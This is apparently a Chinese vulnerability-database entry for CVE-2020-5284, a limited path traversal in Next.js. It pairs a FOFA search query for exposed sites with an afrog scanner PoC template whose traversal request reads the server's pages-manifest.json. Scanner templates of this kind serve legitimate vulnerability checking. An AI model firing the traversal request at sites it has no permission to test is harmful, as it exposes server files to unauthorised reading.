CVE-2020-5284: Next.js .next limited path traversal

日期: 2025-08-01 | 影响软件: Next.js | POC: 已公开

漏洞描述

前端目录遍历浏览 fofa: "Next.js"

PoC代码[已公开]

id: CVE-2020-5284

info:
  name: Next.js .next limited path traversal
  author: 不动明王
  severity: medium
  verified: true
  description: |
    前端目录遍历浏览
    fofa: "Next.js"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5284
  tags: cve,cve2020,nextjs,traversal,readfile
  created: 2023/08/17

rules:
  r0:
    request:
      method: GET
      path: /_next/static/../server/pages-manifest.json
    expression: 'response.status == 200 && response.headers["content-type"].contains("application/json") && "/_app\": \".*?_app\\.js".bmatches(response.body)'
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2020/CVE-2020-5284.yaml

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